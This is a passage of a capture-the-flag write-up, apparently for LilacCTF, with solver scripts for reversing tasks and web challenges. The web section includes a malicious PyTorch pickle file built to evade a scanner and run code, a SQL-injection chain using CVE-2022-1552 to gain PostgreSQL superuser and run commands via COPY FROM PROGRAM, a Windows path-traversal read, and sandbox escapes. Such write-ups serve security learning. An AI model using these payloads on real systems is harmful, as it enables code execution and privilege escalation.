mSId+CI3ua+vLE7QX/LcGN46GHA5Z6jTuFHjj+kZZU0tTwbrfWvDVhVf5zxSeFew22x2pTdbuvXL0Cl9baRuP+xd3Yend0pNfCV/par5qHXee3lEeuTkymheTV8RSZiG82r3IJudNJHcid/JvF9yeTYom9dxj3isKfhCc/l73PdpmwoZmnmcud1TjaKCjqSOLrcne0PKupcVK1CrdM8qTD7EZ0TZ6fRRR7l2e2dHbMfI84jk+wCnA0u2am3aCSYLQj/wfXms6a63cEK6i/W/7mMHmQXzW96yOc+LnpHODcotrFmt4it2L1fcf2L9KViKTTtmcoq/Xr2sp7lXUU0Wpcg60Hvh3SIfyr6ZepZw+fjp+smKSxtjFGGq0alTFHMMY+1zy8dV9qOvzW+V3/56xPU1K35QoN5dupvGe5VXtj+wXbkprwhrPG8ccdjust/pkddpb1tuyqKHIiu8ZH068WDx8omPCPX48Pl42UNZxS+4W27eVb53k78r7R/yN0Jy5P+O2orcykX0nm+hB8SgVNhJuMEAYBKs/Vi8PTArsHPAZqFkgLbBc41y1DacN5X7d+0W1K7ezf/3xtf2F4Auue2P3RoUJhblOHZkiiLwWEaM0UgqlTkr5n8WdZV66danhwfsHxNLPpZy/l/9Gjv0cY/sl+8necrwVYou3Lfg8+3kiSD2I/HjocWnVatVcSUqJYQNfg+N3se/mL7tesl/se5H2jftN4bbd7WozfjMP2iitWExfrOtI0xGxNP80jZPLJzsP1R0SlZCUWOsx6Ek5nn48yuKthY9Ogk5/3Zk6mH/oBmhy6CxoN2g46A5oBOhXcAE0JTQntDf0H7QzdDP0FTgA+gUaDjwArQ7NDA0KPQ5NDG0KDQUNAp0MPoBuh0aDvoRmh+6CloFegSaEZoY+hqaBJoVu+r8JoWuhYaEnoaOgiaBvocug4cAM0FhgG2gq6CzoP2hvaG1ofGhI6H5oKTAI9BJ0KXQgOAfcABaCxgRLgD3ARWCi/y0BbQ+dDs6B/oUehn6FtoYehG6GToeOh0YEe0CXQ29Cu0PXgyGgMcEc0OrQkNBv0I9gAWhIcBU4AIwEbQmOAnNBo4N7oLXBLtDN0NrgITALuARaF9wAToDeBvNAS4MVoMWhSaEPwTTQ0NDpYDbwDZgEehlcBu4Aw4FXwCngITAA+AGsB60PTQm9C04AS0KHgymgsaGfwSHQquA26HYwJTQsuAQaGYwBngJvQnuD8cAoYAxwBDgDeht8BxYDJ0GTgxWh7cGZ4FNwCxgLehc8Ct0MjoU2B5dBI0NPg3PAE9Dc4E5wKLQ2OATcAEYBJ4AfoPfBWeAksAE4AKwBdoaGB2OCgaHbwbZgXDA0GBY8AdYF14KXwbJgJHAU9D3YAPofnAPmhP4Hy4BxwKXgG/AfeBYMCZYEC4FFwW5gTrAMuBN8B74Fm4ARwLFgTTA7uBlMAAYAb/0HPIxLfQ=="


def rol32(x: int, r: int) -> int:
    x &= 0xFFFFFFFF
    r &= 31
    return ((x << r) | (x >> (32 - r))) & 0xFFFFFFFF


def ror32(x: int, r: int) -> int:
    x &= 0xFFFFFFFF
    r &= 31
    return ((x >> r) | (x << (32 - r))) & 0xFFFFFFFF


def _load_constants():
    raw = zlib.decompress(base64.b64decode(_BLOB_B64_ZLIB))
    if len(raw) != 4260:
        raise RuntimeError(f"bad constants blob length: {len(raw)}")
    off = 0
    (g_base,) = struct.unpack_from("<I", raw, off)
    off += 4
    k_words = list(struct.unpack_from("<40I", raw, off))
    off += 40 * 4
    g_delta = []
    for _ in range(4):
        g_delta.append(list(struct.unpack_from("<256I", raw, off)))
        off += 256 * 4
    return g_base, k_words, g_delta


G_BASE, K_WORDS, G_DELTA = _load_constants()


def g(x: int) -> int:
    x &= 0xFFFFFFFF
    b0 = x & 0xFF
    b1 = (x >> 8) & 0xFF
    b2 = (x >> 16) & 0xFF
    b3 = (x >> 24) & 0xFF
    return (G_BASE ^ G_DELTA[0][b0] ^ G_DELTA[1][b1] ^ G_DELTA[2][b2] ^ G_DELTA[3][b3]) & 0xFFFFFFFF


def encrypt_block(block16: bytes) -> bytes:
    x0, x1, x2, x3 = struct.unpack("<4I", block16)
    x0 ^= K_WORDS[0]
    x1 ^= K_WORDS[1]
    x2 ^= K_WORDS[2]
    x3 ^= K_WORDS[3]

    for r in range(16):
        t0 = g(x0)
        t1 = g(rol32(x1, 8))
        f0 = (t0 + t1 + K_WORDS[8 + 2 * r]) & 0xFFFFFFFF
        f1 = (t0 + (2 * t1 & 0xFFFFFFFF) + K_WORDS[9 + 2 * r]) & 0xFFFFFFFF

        x2 = ror32((x2 ^ f0) & 0xFFFFFFFF, 5)
        x3 = (rol32(x3, 5) ^ f1) & 0xFFFFFFFF

        if r < 15:
            x0, x2 = x2, x0
            x1, x3 = x3, x1

    c0 = x0 ^ K_WORDS[4]
    c1 = x1 ^ K_WORDS[5]
    c2 = x2 ^ K_WORDS[6]
    c3 = x3 ^ K_WORDS[7]
    return struct.pack("<4I", c0 & 0xFFFFFFFF, c1 & 0xFFFFFFFF, c2 & 0xFFFFFFFF, c3 & 0xFFFFFFFF)


def decrypt_block(block16: bytes) -> bytes:
    x0, x1, x2, x3 = struct.unpack("<4I", block16)
    x0 ^= K_WORDS[4]
    x1 ^= K_WORDS[5]
    x2 ^= K_WORDS[6]
    x3 ^= K_WORDS[7]

    for r in range(15, -1, -1):
        if r < 15:
            x0, x2 = x2, x0
            x1, x3 = x3, x1

        t0 = g(x0)
        t1 = g(rol32(x1, 8))
        f0 = (t0 + t1 + K_WORDS[8 + 2 * r]) & 0xFFFFFFFF
        f1 = (t0 + (2 * t1 & 0xFFFFFFFF) + K_WORDS[9 + 2 * r]) & 0xFFFFFFFF

        x2 = (rol32(x2, 5) ^ f0) & 0xFFFFFFFF
        x3 = ror32((x3 ^ f1) & 0xFFFFFFFF, 5)

    p0 = x0 ^ K_WORDS[0]
    p1 = x1 ^ K_WORDS[1]
    p2 = x2 ^ K_WORDS[2]
    p3 = x3 ^ K_WORDS[3]
    return struct.pack("<4I", p0 & 0xFFFFFFFF, p1 & 0xFFFFFFFF, p2 & 0xFFFFFFFF, p3 & 0xFFFFFFFF)


def main() -> int:

    ct = bytes.fromhex("A20492152735B4F6ECBAA359DB64417BDF277A73B085666034CF38E748D8FBD4")

    pt = b"".join(decrypt_block(ct[i : i + 16]) for i in range(0, len(ct), 16))
    re_ct = b"".join(encrypt_block(pt[i : i + 16]) for i in range(0, len(pt), 16))

    print("pt_hex:", pt.hex())
    print("pt_raw:", pt)
    print("verify_reencrypt:", re_ct == ct)
    return 0


if __name__ == "__main__":
    raise SystemExit(main())

```
Flag: `LilacCTF{I_ju3t_w@nnA_b3_hapPy}`
## NineApple 

```python!
import lief, struct

bin = lief.parse("Nine")

def qwords(addr, n):
    data = bytes(bin.get_content_from_virtual_address(addr, 8 * n))
    return list(struct.unpack("<" + "Q" * n, data))

def decode_swift_small_string(payload, tag):
    length = ((tag >> 56) & 0xFF) - 0xE0
    b_payload = payload.to_bytes(8, "little")
    b_extra = (tag & 0x00FFFFFFFFFFFFFF).to_bytes(7, "little")
    return (b_payload + b_extra)[:length].decode("ascii")

W_BASE = 0x100010320
T_BASE = 0x100010390
M_BASE = 0x1000104C0

w_count = qwords(W_BASE, 4)[2]
weights = qwords(W_BASE + 0x20, w_count)

t_count = qwords(T_BASE, 4)[2]
targets = qwords(T_BASE + 0x20, t_count)

m_count = qwords(M_BASE, 4)[2]
m_raw = qwords(M_BASE + 0x20, m_count * 4) 
char_to_pattern = {}
for i in range(m_count):
    pk, tk, pv, tv = m_raw[i*4:(i+1)*4]
    k = decode_swift_small_string(pk, tk)
    v = decode_swift_small_string(pv, tv)
    char_to_pattern[k] = v

pattern_to_char = {v: k for k, v in char_to_pattern.items()}

def decode_code(code):
    rem = code
    digits = []
    for w in weights:
        d = rem // w
        rem -= d * w
        digits.append(d)
    while digits and digits[-1] == 0:
        digits.pop()
    return "".join(str(d) for d in digits)

patterns = [decode_code(x) for x in targets]
flag = "".join(pattern_to_char[p] for p in patterns)

print("flag:", flag)
print("patterns:", " ".join(patterns))

```
Flag: `Lilac{10S_aNd_l1lac_w1n3_f0r_you}`

# Misc

## sky is ours

### Solution

https://www.flightaware.com/live/flight/QDA6097/history/20250410/0510Z/ZSYT/ZSFZ


## launchpad

### Solution 

The `tweak_emulate_clock_handler` function allows advance the on-chain emulated timestamp by a given `delta`. This can bypass schedules to the clock to unlock token claims.

## Your GitHub, mine

### Solution

Access the bot https://github.com/tynqf4hn8z and find other public repo, submit the issue to the bot for checking and get the flag.

For example: https://github.com/tynqf4hn8z/lilacctf-puzzle-4xonhewg/issues/1

## Questionnaire

![image](https://hackmd.io/_uploads/rkQrM1LIZg.png)

## Welcome

```python
import zlib, binascii; print(zlib.decompress(binascii.unhexlify("789c0540b10980400c5ce92442067849153bc1f278ae1031ad95b87bc8bba6c611df6925ec46076bc955f2e0056ccc773c7f03fb580c81")).decode())
```

# Web

## nailong
Slopped script to generate the malicious .pt file
```py=
import torch
import tarfile
import io
import pickle
import os

# --- Configuration ---
FILENAME = "bypass.pt"

# The specific integer the scanner expects (derived from your error log)
# 119547037146038801333356 = 0x1950A86A20F9469CFC6C0000
SCANNER_EXPECTED_MAGIC = 119547037146038801333356

# --- 1. Construct the Camouflage Payload (Header Injection) ---
# This payload is designed to sit in the 100-byte Tar Header Name field.
# It tricks the scanner (which treats the file as a linear pickle stream)
# into thinking it has read a valid Magic Number and 5 innocuous pickles.

# Pickle 1: The Spoofed Magic Number
# Opcode: I (INT) ... \n . (STOP)
p_magic = f'I{SCANNER_EXPECTED_MAGIC}\n.'.encode('ascii')

# Pickles 2-6: Dummy Pickles to satisfy the scanner's 'range(5)' loop
# We use 'N.' (None) because it is short (2 bytes).
p_dummy = b'N.'

# Combine: 1 Magic + 5 Dummies
fake_filename = p_magic + (p_dummy * 5)

print(f"Camouflage Payload Length: {len(fake_filename)} bytes (Max 100)")
if len(fake_filename) > 99:
    raise ValueError("Payload too long for Tar header name field!")

# --- 2. Construct the Malicious Payload (The Real Exploit) ---

class Malicious:
    def __reduce__(self):
        # The payload executed by the victim
        return (exec, ("<python code here>",))

# Prepare buffers for the internal files required by PyTorch's Tar Loader
# Protocol 2 is required for legacy format compatibility.

# 'pickle': Contains the executable object
pickle_buffer = io.BytesIO()
pickle.Pickler(pickle_buffer, protocol=2).dump(Malicious())
pickle_bytes = pickle_buffer.getvalue()

# 'storages': Requires [count (int), view_metadata (list)]
meta_buffer = io.BytesIO()
pickle.dump(0, meta_buffer, protocol=2)  # count
pickle.dump([], meta_buffer, protocol=2) # list
meta_bytes = meta_buffer.getvalue()

# 'tensors': Requires [count (int)]
tensors_buffer = io.BytesIO()
pickle.dump(0, tensors_buffer, protocol=2)
tensors_bytes = tensors_buffer.getvalue()

# --- 3. Build the Polyglot Tar File ---

with tarfile.open(FILENAME, "w") as tar:
    # ENTRY 1: The Decoy (Header Injection)
    # The scanner reads the NAME bytes of this entry thinking it's the file header.
    # The content is empty.
    info = tarfile.TarInfo(name=fake_filename.decode('latin1')) 
    info.size = 0
    tar.addfile(info, io.BytesIO(b""))
    
    # ENTRY 2: The Real Payload ('pickle')
    # PyTorch looks for this specific filename
    info = tarfile.TarInfo(name="pickle")
    info.size = len(pickle_bytes)
    tar.addfile(info, io.BytesIO(pickle_bytes))
    
    # ENTRY 3: Storages Metadata
    info = tarfile.TarInfo(name="storages")
    info.size = len(meta_bytes)
    tar.addfile(info, io.BytesIO(meta_bytes))
    
    # ENTRY 4: Tensors Metadata
    info = tarfile.TarInfo(name="tensors")
    info.size = len(tensors_bytes)
    tar.addfile(info, io.BytesIO(tensors_bytes))

print(f"Successfully created '{FILENAME}'")
```

## keep

### Solution

https://projectdiscovery.io/blog/php-http-server-source-disclosure

![image](https://hackmd.io/_uploads/rJUrFDVIbe.png)

## checkin

```python=
vars().get(min(dir())).append(~vars().get(min(dir())).pop())
```
## playground
```python=
import json

def callback(js_proxy):
    Func = js_proxy.constructor
    Func("alert()")()
    return "test"
json.dumps(execfile, default=callback)
```
## safe-sql

Get superuser using CVE-2022-1552.

```python=
import requests
import random
import time
s = requests.session()

URL = "http://61.147.171.103:55561/api/login"

tablename = "tchen_table_" + random.randbytes(8).hex()
funcname = "tchen_func_" + random.randbytes(8).hex()
idx = "tchen_idx_" + random.randbytes(8).hex()
print(tablename, funcname, idx)

r = s.post(URL, json={
    "username": "\\",
    "password": f"AND 1=1; CREATE FUNCTION {funcname}(int) RETURNS int LANGUAGE plpgsql IMMUTABLE AS $$" \
        f"BEGIN" \
        f"  RETURN $1; " \
        f"END;" \
        f"$$; SELECT 1;--"
})    
r = r.json().get("username", "error")
print(r)

r = s.post(URL, json={
    "username": "\\",
    "password": f"AND 1=1; CREATE TABLE {tablename}(a int);" \
        f"CREATE INDEX {idx} ON {tablename} USING brin(({funcname}(a) + {funcname}(0))) WITH (pages_per_range = 1, autosummarize = on);" \
        f"SELECT brin_desummarize_range($${idx}$$, 0);" \
        f"INSERT INTO {tablename} SELECT generate_series(1, 1000000);" \
        f"CREATE OR REPLACE FUNCTION {funcname}(int) RETURNS int LANGUAGE sql AS $$" \
        f"ALTER USER ctf SUPERUSER;" \
        f"SELECT $1;" \
        f"$$;" \
        f"SELECT 1; --"
        
})
r = r.json().get("username", "error")
print(r)

prev = ""
while True:
    r = s.post(URL, json={
        "username": "\\",
        "password": f"AND 1=1; SELECT max(last_autovacuum) AS last_autovacuum_any_table FROM pg_stat_all_tables;--"
    })    
    r = r.json().get("username", "error")
    print(r)
    if prev and prev != r:
        break
    prev = r
    time.sleep(5)
```

Then, RCE using COPY instruction.
```
CREATE TEMP TABLE shell(output text);COPY shell FROM PROGRAM 'cmd';SELECT text,1 from shell;
```


## path

### Solution

```py=
import requests

base = "http://1.95.51.2:8080"

s = requests.Session()

def get_token():
    r1 = s.get(f"{base}/api/diag/read", params={"path": r"\\?\C:\token\access_key.txt"})
    r1.raise_for_status()
    token = r1.json()["token"]
    print("Token:", token)
    return token

p = r"\\?\GLOBALROOT\??\UNC\172.20.0.10\backup\flag.txt" 

token = get_token()
r2 = s.get(f"{base}/api/export/read", params={"token": token, "path": p})
print(p, r2.status_code, r2.text)
```

